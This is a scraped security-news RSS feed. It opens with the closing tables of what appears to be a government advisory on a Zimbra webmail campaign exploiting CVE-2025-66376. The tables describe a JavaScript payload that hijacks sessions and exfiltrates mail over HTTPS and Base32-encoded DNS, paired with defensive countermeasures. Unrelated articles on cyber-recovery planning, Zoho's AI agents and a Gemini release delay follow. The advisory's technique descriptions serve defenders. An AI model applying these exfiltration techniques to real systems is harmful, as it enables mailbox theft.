<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3694392/it-security-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694392/it-security-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



